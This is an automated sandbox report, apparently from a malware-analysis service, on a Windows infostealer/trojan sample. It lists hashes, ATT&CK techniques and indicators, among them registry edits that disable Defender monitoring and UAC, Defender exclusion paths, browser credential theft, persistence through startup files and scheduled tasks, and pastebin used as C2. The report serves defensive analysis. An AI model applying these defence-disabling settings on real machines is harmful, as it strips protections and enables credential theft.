45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd

Analysis

max time kernel
141s
max time network
143s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/08/2024, 01:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe
Size

2.2MB
MD5

be668da17ea459ecdba38cb333a98a07
SHA1

fc44edf6715f685e7ad26b22b4b2695f45586146
SHA256

45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd
SHA512

6e285e8398dc131a3085578184714b88ac34fc12f5f014ce66c63b6b43e0473c650c0a9eb51972d1b1a106d44df2f04478c2d895c6551f39a45d3c860f27f39a
SSDEEP

49152:PI/0Xh92X3FAOkoQgcK1beVBOHpwIf0bOtW1sLjS/g3:0O2X33Dfp98bObL+0

Score

10^/10

credential_access defense_evasion discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AXIMGRmNcjuU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bbiQWjFxyQUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oUieOXlOU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\iFPNyOqWEPleGUTI = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CKabrDMveeUvWwVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\iFPNyOqWEPleGUTI = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oUbFZcjishNOC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\iFPNyOqWEPleGUTI = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UtWJzMtQRbBWenIIikR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bbiQWjFxyQUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oUbFZcjishNOC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\iFPNyOqWEPleGUTI = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oUieOXlOU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UtWJzMtQRbBWenIIikR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AXIMGRmNcjuU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\CKabrDMveeUvWwVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH = "0"	reg.exe

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2036	powershell.exe
1724	powershell.exe
2328	powershell.EXE
3060	powershell.exe
1040	powershell.exe
2164	powershell.exe
2564	powershell.EXE
944	powershell.EXE
1420	powershell.exe
2752	powershell.exe
2920	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Control Panel\International\Geo\Nation	bRkTaNJ.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eKsQWu1RkPuSdc1a0cV3Gnfn.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9HrY8fKyFjB0vAdjJNCxzZvq.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\V335b1Mg4fg0fHBIz6iRSS2A.bat	regsvcs.exe

Executes dropped EXE 6 IoCs

pid	Process
2548	qZPQARSJ2Sg5SA1I4483dKet.exe
1256	Install.exe
492	Install.exe
1632	GKmlMBPL3n0O1gHfyLouY7RJ.exe
2456	cMvOIsW.exe
2644	bRkTaNJ.exe

Indirect Command Execution 1 TTPs 19 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2824	forfiles.exe
2596	forfiles.exe
2300	forfiles.exe
2884	forfiles.exe
2536	forfiles.exe
2740	forfiles.exe
1520	forfiles.exe
2236	forfiles.exe
1768	forfiles.exe
2424	forfiles.exe
1092	forfiles.exe
1040	forfiles.exe
2700	forfiles.exe
1844	forfiles.exe
1284	forfiles.exe
1676	forfiles.exe
2736	forfiles.exe
1720	forfiles.exe
1576	forfiles.exe

Loads dropped DLL 21 IoCs

pid	Process
2136	regsvcs.exe
2548	qZPQARSJ2Sg5SA1I4483dKet.exe
2548	qZPQARSJ2Sg5SA1I4483dKet.exe
2548	qZPQARSJ2Sg5SA1I4483dKet.exe
2548	qZPQARSJ2Sg5SA1I4483dKet.exe
1256	Install.exe
1256	Install.exe
1256	Install.exe
1256	Install.exe
492	Install.exe
492	Install.exe
492	Install.exe
2136	regsvcs.exe
2136	regsvcs.exe
1600	WerFault.exe
1600	WerFault.exe
1600	WerFault.exe
304	rundll32.exe
304	rundll32.exe
304	rundll32.exe
304	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	bRkTaNJ.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	bRkTaNJ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
6	pastebin.com

Drops file in System32 directory 26 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_5CF45833F44BFC2995315451A3896ACA	bRkTaNJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_68D058512F3515153DEB95A1F4E72552	bRkTaNJ.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C02877841121CC45139CB51404116B25_9CE832D646FBAFC5C4ACFC523FDD84AD	bRkTaNJ.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	cMvOIsW.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	cMvOIsW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	bRkTaNJ.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	cMvOIsW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	bRkTaNJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_5CF45833F44BFC2995315451A3896ACA	bRkTaNJ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	cMvOIsW.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	bRkTaNJ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bRkTaNJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	bRkTaNJ.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	bRkTaNJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_68D058512F3515153DEB95A1F4E72552	bRkTaNJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C02877841121CC45139CB51404116B25_9CE832D646FBAFC5C4ACFC523FDD84AD	bRkTaNJ.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2200 set thread context of 2136	2200	45923c5e0fa75d8265252dcdaa59b90db697db59e1badc8e474ac804ddeb41fd.exe	31

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\AXIMGRmNcjuU2\qSUyYEh.xml	bRkTaNJ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	bRkTaNJ.exe
File created	C:\Program Files (x86)\oUieOXlOU\IhnNZOS.xml	bRkTaNJ.exe
File created	C:\Program Files (x86)\UtWJzMtQRbBWenIIikR\zbElmSI.dll	bRkTaNJ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	bRkTaNJ.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	bRkTaNJ.exe
File created	C:\Program Files (x86)\AXIMGRmNcjuU2\mcdPGBWKGnTri.dll	bRkTaNJ.exe
File created	C:\Program Files (x86)\oUbFZcjishNOC\fmqGVpx.dll	bRkTaNJ.exe
File created	C:\Program Files (x86)\bbiQWjFxyQUn\QmEWkOR.dll	bRkTaNJ.exe
File created	C:\Program Files (x86)\oUieOXlOU\cPBKnr.dll	bRkTaNJ.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	bRkTaNJ.exe
File created	C:\Program Files (x86)\UtWJzMtQRbBWenIIikR\RaXUUoy.xml	bRkTaNJ.exe
File created	C:\Program Files (x86)\oUbFZcjishNOC\cUlyFcY.xml	bRkTaNJ.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\cmIxulIliRylHGj.job	schtasks.exe
File created	C:\Windows\Tasks\JwCSXeyFqJgzBmBOT.job	schtasks.exe
File created	C:\Windows\Tasks\bFanEennwxaepJkUms.job	schtasks.exe
File created	C:\Windows\Tasks\KqXMFdkUyVSRxNGim.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
1600	2456	WerFault.exe	66
920	492	WerFault.exe	36
1956	2644	WerFault.exe	229

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qZPQARSJ2Sg5SA1I4483dKet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GKmlMBPL3n0O1gHfyLouY7RJ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GKmlMBPL3n0O1gHfyLouY7RJ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GKmlMBPL3n0O1gHfyLouY7RJ.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	bRkTaNJ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-ad-fe-4a-f2-16\WpadDecisionTime = 20cdb2d39ef2da01	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	bRkTaNJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{89FB403F-FD3C-4765-9E61-96954AC90FEF}\WpadDecision = "0"	bRkTaNJ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{89FB403F-FD3C-4765-9E61-96954AC90FEF}\WpadNetworkName = "Network 3"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{89FB403F-FD3C-4765-9E61-96954AC90FEF}\26-ad-fe-4a-f2-16	bRkTaNJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-ad-fe-4a-f2-16\WpadDecision = "0"	bRkTaNJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cMvOIsW.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	bRkTaNJ.exe
